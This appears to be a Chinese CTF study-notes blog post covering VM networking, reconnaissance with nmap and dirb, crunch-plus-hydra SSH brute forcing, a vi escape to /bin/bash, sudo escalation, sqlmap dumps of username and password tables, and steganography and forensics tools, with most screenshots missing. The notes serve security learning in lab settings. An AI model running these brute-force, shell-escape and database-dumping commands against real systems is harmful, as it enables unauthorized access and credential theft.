CTF学习笔记

笔记下载:https://download.csdn.net/download/qq_48257021/88650265

1.网卡连接模式

1.1桥接模式:(自由)

将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接,虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络(例如图中所示的局域网和Internet,下同)。简而言之,这就。好像在上图所示的局域网中添加了一台新的、独立的计算机一样,虚拟机也会占用局域网中的一个IP地址

1.2 nat模式:(关着,不隔绝)

VMware会在主机上建立单独的专用网络,用以在主机和虚拟机之间相互通信。虚拟机向外部网络发送的请求数据"包裹",都会交由NAT网络适配器加上"特殊标记"并以主机的名义转发出去,虚拟机在外部网络中不必具有自己的IP地址,外部网络终端也无法访问到虚拟机,

1.3 仅主机模式:(关小黑屋,隔绝外部)

仅主机模式的虚拟网络适配器仅对主机可见,在虚拟机和主机系统之间提供网络连接

2. nmap

信息收集端口扫描:nmap -sS -sV -p- -v -T4 192.168.43.200

CTF学习笔记_第1张图片

扫描网站目录:dirb 百度一下,你就知道

发现目录:admin 访问,暴力破解密码和用户名

crunch :生成密码字典。man crunch 查看语法。

crunch 8 8 -t kill0r%@ -o dict.txt

最大长度8 最小长度8 :hydra -l guest -P dict.txt 192.168.133.145 ssh

暴力破解:用户名:guest 密码字典:dict.txt

echo $PATH : 查看自己能输入的命令在哪里

echo $PATH/* : 查看自己能用的命令

在vi 编辑器里强制调用bin/bash:vi 1.txt :  !/bin/bash

!在命令前面表示强制调用外部命令,在命令后面表示强制使用命令。

CTF学习笔记_第2张图片

查找;sudo 目录

将当前环境变量变为有sudo的环境下。

CTF学习笔记_第3张图片

查找 su 命令

cat etc/group :查看有什么组 (用户信息在 /etc/passwd中,组信息保存在/etc/group中,早期的Linux将密码以名码的形式保存在/etc/passwd中,而现在则多以暗码(也就是加密之后的形式)的形式保存在/etc/shadow)。

更改用户户名和密码:passwd 用户名

Linux useradd 命令 | 菜鸟教程

update wpuser set user_pass=md5(“123qwe”) where user_login=”lcy”;

CTF学习笔记_第4张图片

CTF学习笔记_第5张图片

下载脏牛到kali

3.ctf

netdiscover:ARP是将IP地址转化物理地址的网络协议。通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。

netdiscover -i(指定网卡) eth0 -r (选择扫描范围)192.168.43.200

sqlmap -u http://192.168.133.133/index.html?page=blog&title=Blog&id=2 --dbs -D ehks  --table -T user --colums -C user_name,user_pass --dump

--dbs   :爆破数据库

-D ehks  :指定数据库ehks

--tables   :爆表

-T :指定表user

--colums :字段

-C :指定字段user_name user_pass

--dump :爆开数据库

如果提示缺少cookie:

在浏览器点击console ,输入document.cookie 就会出现cookie,再将cookie 贴进去

sqlmap -u “192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go”--cookie=”PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0” --dbs

一些有用的信息:

CTF学习笔记_第6张图片

对security 数据库爆破:

sqlmap -u "192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go"  --cookie="PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0" --dbs -D security --tables -T users --columns -C password,username --dump

CTF学习笔记_第7张图片

CTF学习笔记_第8张图片

ssh:远程登陆  :ssh 用户名@ip

sudo : Linux sudo命令 | 菜鸟教程

sudo su : 切换到root 用户模式

4.sudo语法

sudo -V
sudo -h
sudo -l
sudo -v
sudo -k
sudo -s
sudo -H
sudo [ -b ] [ -p prompt ] [ -u username/#uid] -s
sudo command

参数说明:

  • -V 显示版本编号
  • -h 会显示版本编号及指令的使用方式说明
  • -l 显示出自己(执行 sudo 的使用者)的权限
  • -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
  • -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
  • -b 将要执行的指令放在背景执行
  • -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
  • -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
  • -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root
  • command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

sudo实例

sudo命令使用

$ sudo ls
[sudo] password for hnlinux: 
hnlinux is not in the sudoers file. This incident will be reported.

指定用户执行命令

# sudo -u userb ls -l

5 .杂项

5.1文件头

CTF学习笔记_第9张图片

txt : 没有

识别文件的后缀:file 文件名

或者用nodepad++打开,编码方式选择hex ,可以看到头编码是:ffd8ffe0,猜测是jpg文件

共享文件:sudo mount.cifs //192.168.43.200/gx ./gx -o user=Lenovo

5.2检查文件类型file

3.文件头残缺/错误

通常文件无法正常打开有两种情况,一种是文件头部残缺,另一种是文件头部字段错误。针对文件头部残缺的情况,使用winhex程序添加相应的文件头,针对头部字段错误,可以找一个相同类型的文件进行替换。

使用场景:文件头部残缺或文件头部字段错误无法打开正常文件。

格式:fle文件名

CTF学习笔记_第10张图片

5.3分离文件

5.3.1 binwalk

分析文件 binwalk文件名

分离文件:binwalk -e 文件名

1.Binwalk工具

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。

同目录下生成一个形如文件名extracted的文件目录,目录中有分离后的文件。

用法:

分析文件:binwalk filename

分离文件:binwalk-e filename

CTF学习笔记_第11张图片

5.3.2 foremost

foremost 文件名 -o 文件夹名

2.foremost

如binwalk.无法正确分离出文件,可以使foremost,将目标文件复剩到kali中,成功执行后,会在目标文件的文件目录下生成

我们设置的目录,目录中会按文件类型分离出文件,

用法:

foremost文件名-o输出目录名

CTF学习笔记_第12张图片

5.3.3 dd

dd if=filename of=目标文件 bs=1 skip=23

3.dd

当文件自动分离出错或者因为其他原因无法自动分离时,可以使用dd实现文件手动分离。

格式:

dd if=源文件of=目标文件名bs=1 skip=开始分离的字节数

参数说明:

if=file

#输入文件名,缺省为标准输入。

of=file

#输出文件名,缺省为标准输出。

bs=bytes #同时设置读写块的大小为bytes,可代替ibs和obs。

skip=blocks #从输入文件开头跳过blocks个块后再开始复制。

CTF学习笔记_第13张图片

5.4文件合并

5.4.1cat , copy /B

合并文件

1.Linux下的文件合并

使用场景:Iiux下,通常对文件名相似的文件要进行批量合并

格式:cat合并的文件>输出的文件

cat 1.txt 2.jpg > book

CTF学习笔记_第14张图片

2.Windows下的文件合并

使用场景:windows下,通常要对文件名相似的文件进行批量合并

格式:copy /B合并的文件 输出的文件命令

CTF学习笔记_第15张图片

完整性检测:

1.linux下计算文件

md5sum 文件名

CTF学习笔记_第16张图片

2. windows下计算文件md5:

certutil-hashfile文件名md5

CTF学习笔记_第17张图片

5.5图片文件隐写

5.5.1 exiftool(分析图片信息)

分析图片信息:exiftool 文件名

2.5.2 stegsolve,像素比较

图片文件隐写

3.Stegsolve

当两张jpg图片外观、大小、像素都基本相同时,可以考虑进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看能否得到有用的信总,StegSolve可以方便的进行这些操作。

使用场景:两张图片信息基本相同

1.打开第一张图片,点击analyse->Image combiner

2.在弹出的窗口中点击左右按钮选择处理方式,点击save保存有价值的结果。

CTF学习笔记_第18张图片

5.5.3 zsteg(分析隐藏数据)

zsteg工具

detect stegano-hidden data in PNG BMP

Installation

root@kali:/gem install zsteg

检测LSB隐写

zsteg xxx.png

CTF学习笔记_第19张图片

5.5.4wbstego4(解密)

 解密通过lsb加密的图片、txt 、bmp 、pdf

5.5.5 python脚本

python脚本来处理

将以下脚本放相kai中运行,将目标文件放在脚本同目录下,将脚本中的文件名修改为文件名,运行python即可

CTF学习笔记_第20张图片

CTF学习笔记_第21张图片

CTF学习笔记_第22张图片

5.5.6 tweakpng,crc

CTF学习笔记_第23张图片

如果不是crc错误,可能是高度错误:利用下面这个脚本,if crc32==” 0xcbdf8a”

CTF学习笔记_第24张图片

然后更改高度和宽度应是:宽高16进制编码第二行,前8个字节,实在不知道宽高,就把高度自己估摸着调高。

CTF学习笔记_第25张图片

5.5.7 bftools(解密)

Bftools decode braincopter filename1 –output  filename2

CTF学习笔记_第26张图片

5.5.8 stegdetect(探测加密方式)

Stegdetect工具探测加密方式

Steqdetect.程序主要用于分PEG文件,因此仍teqdetect可以检到通JSteg、JPHide、OutGuess、Invisible Secrets,F5、appendX,Camouflage等这些隐写工具隐藏的信息。

stegdetect xxx.jpg

stegdetect-s敏感度xxx.jpgexi

CTF学习笔记_第27张图片

5.5.9 outguess,f5(解密)

CTF学习笔记_第28张图片

5.6压缩文件分析:

5.6.1伪加密

CTF学习笔记_第29张图片

CTF学习笔记_第30张图片

5.6.2 archpr(破解)

CTF学习笔记_第31张图片

CTF学习笔记_第32张图片

5.6.3 ziperor 破解

zip压缩包加密

5.7流量取证

5.7.1过滤命令:

CTF学习笔记_第33张图片

CTF学习笔记_第34张图片

5.7.2 wireshark流汇聚

CTF学习笔记_第35张图片

CTF学习笔记_第36张图片

5.7.3 wireshark 提取文件

文件分离:文件-> 导出 -> http ->save all

CTF学习笔记_第37张图片

5.7.4 无线wifi

CTF学习笔记_第38张图片

5.7.5 aircrack-ng(破解)

CTF学习笔记_第39张图片

CTF学习笔记_第40张图片

5.7.6 usb

CTF学习笔记_第41张图片

CTF学习笔记_第42张图片

导出usb流量:leftover capture分析 -> 应用为列

CTF学习笔记_第43张图片

tshark 方式提取usb流量。

CTF学习笔记_第44张图片

用python脚本提取。

CTF学习笔记_第45张图片

usb 流量分析.

CTF学习笔记_第46张图片

用python脚本分析。

CTF学习笔记_第47张图片

将坐标导入txt文本

CTF学习笔记_第48张图片

用gnuplot 工具把坐标画出

CTF学习笔记_第49张图片

5.7.7 http

CTF学习笔记_第50张图片

CTF学习笔记_第51张图片

5.8密码学:

CTF学习笔记_第52张图片

5.8.1 base64

CTF学习笔记_第53张图片

5.8.2 url

CTF学习笔记_第54张图片 5.8.3 unicode

CTF学习笔记_第55张图片

5.8.4 js混淆

CTF学习笔记_第56张图片

CTF学习笔记_第57张图片

CTF学习笔记_第58张图片

CTF学习笔记_第59张图片

CTF学习笔记_第60张图片 5.8.5 替换加密

CTF学习笔记_第61张图片

string filename > a.txt 将文件中的可打印字符提取出

6.linux:网络地址配置:

CTF学习笔记_第62张图片

CTF学习笔记_第63张图片

apt-get

-install 联网安装

-remove 卸载

7.网络

7.1 分层模型

CTF学习笔记_第64张图片

7.2 http请求报文

CTF学习笔记_第65张图片

7.3 http响应报文

CTF学习笔记_第66张图片

CTF学习笔记_第67张图片

7.4 http协议解题

CTF学习笔记_第68张图片

CTF学习笔记_第69张图片

CTF学习笔记_第70张图片

CTF学习笔记_第71张图片

7.5 文件上传漏洞

CTF学习笔记_第72张图片

你可能感兴趣的:(学习,笔记)